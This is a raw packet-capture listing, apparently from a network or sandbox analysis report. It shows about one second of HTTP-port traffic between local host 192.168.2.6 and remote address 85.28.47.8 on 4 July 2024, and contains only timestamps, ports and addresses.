                                                              Jul 4, 2024 11:16:16.866425991 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.866431952 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.866449118 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.866460085 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.866465092 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.866504908 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.903278112 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.903291941 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.903305054 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.903337955 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.903350115 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.903362989 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.903374910 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.903382063 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.903387070 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.903399944 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.903424978 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.903449059 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.903527975 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.903538942 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.903551102 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.903562069 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.903573036 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.903573990 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.903585911 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.903600931 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.903620958 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.903781891 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.903793097 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.903804064 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.903815031 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.903826952 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.903832912 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.903839111 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.903850079 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.903876066 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.903917074 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.903929949 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.903940916 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.903951883 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.903961897 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.903970003 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.903975010 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.903987885 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.904006004 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.904007912 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.904017925 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.904026985 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.904066086 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.904213905 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.904226065 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.904237032 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.904248953 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.904259920 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.904263020 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.904272079 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.904283047 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.904293060 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.904299021 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.904304981 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.904335022 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.904351950 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.904462099 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.904474974 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.904494047 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.904505014 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.904505968 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.904516935 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.904527903 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.904539108 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.904567003 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.904587030 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.914300919 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.914316893 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.914328098 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.914381981 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.914421082 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.914433002 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.914443970 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.914460897 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.914463997 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.914474964 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.914498091 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.914525986 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.914557934 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.914571047 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.914582014 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.914594889 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.914604902 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.914608002 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.914621115 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.914649010 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.914664030 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.914741993 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.914752960 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.914763927 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.914788961 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.915170908 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.915210962 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.915224075 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.915251970 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.915282965 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.915297985 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.915309906 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.915321112 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.915333033 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.915347099 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.915374041 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.915532112 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.915544033 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.915555954 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.915566921 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.915576935 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.915585041 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.915589094 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.915601969 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.915611982 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.915616989 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.915623903 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.915640116 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.915654898 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.915827990 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.915838003 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.915849924 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.915862083 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.915872097 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.915873051 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.915885925 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.915899992 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.915911913 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.915925026 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.915930033 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.915936947 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.915945053 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.915951014 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.915962934 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.915972948 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.915973902 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.915990114 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.916002035 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.916002035 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.916017056 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.916042089 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.916074991 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.916249037 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.916260004 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.916279078 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.916290998 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.916300058 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.916302919 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.916330099 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.916394949 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.916407108 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.916418076 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.916429996 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.916441917 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.916440964 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.916455030 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.916455984 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.916466951 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.916479111 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.916491032 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.916496992 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.916502953 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.916512012 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.916542053 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.967873096 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.145600080 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.145634890 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.145647049 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.145665884 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.145678043 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.145695925 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.145706892 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.145721912 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.145771980 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.145783901 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.145813942 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.146111965 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.146152973 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.146177053 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.146188974 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.146229029 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.146250010 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.146260977 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.146271944 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.146282911 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.146301031 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.146318913 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.146451950 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.146465063 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.146476030 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.146486998 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.146501064 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.146507025 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.146518946 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.146522045 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.146533966 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.146544933 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.146555901 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.146560907 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.146581888 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.146683931 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.146696091 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.146707058 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.146717072 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.146732092 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.146759033 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.146836042 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.146847963 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.146858931 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.146874905 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.146876097 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.146886110 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.146898985 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.146900892 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.146910906 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.146924973 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.146933079 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.146935940 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.146950006 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.146951914 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.146962881 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.146974087 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.146981001 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.146997929 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.147346973 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.147357941 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.147370100 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.147380114 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.147392035 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.147392035 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.147407055 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.147419930 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.147420883 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.147438049 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.147450924 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.147500992 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.147512913 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.147522926 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.147532940 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.147552013 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.147576094 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.148091078 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.148102045 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.148118019 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.148128986 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.148139954 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.148149967 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.148150921 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.148161888 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.148164988 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.148178101 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.148189068 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.148194075 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.148200035 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.148211956 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.148228884 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.148233891 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.148241997 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.148250103 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.148255110 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.148268938 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.148298025 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.148435116 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.148447037 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.148458004 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.148468018 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.148478985 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.148494959 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.148499012 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.148507118 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.148519039 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.148530960 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.148531914 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.148542881 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.148556948 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.148571968 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.148571968 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.148586035 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.148600101 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.148624897 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.148763895 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.149076939 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.149087906 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.149102926 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.149115086 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.149132013 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.149146080 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.149151087 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.149158955 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.149172068 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.149182081 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.149184942 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.149197102 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.149208069 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.149209023 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.149229050 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.149236917 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.149245024 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.149256945 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.149266958 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.149274111 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.149279118 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.149290085 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.149291039 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.149302959 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.149312973 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.149316072 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.149327040 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.149338007 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.149348974 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.149349928 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.149373055 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.149384022 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.149384975 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.149400949 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.149411917 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.149424076 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.149430990 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.149436951 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.149450064 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.149461031 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.149463892 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.149476051 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.149487019 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.149496078 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.149504900 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.149509907 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.149518967 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.149529934 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.149537086 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.149543047 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.149553061 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.149564028 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.149564028 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.149581909 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.149595022 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.149596930 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.149605989 CEST804972385.28.47.8192.168.2.6
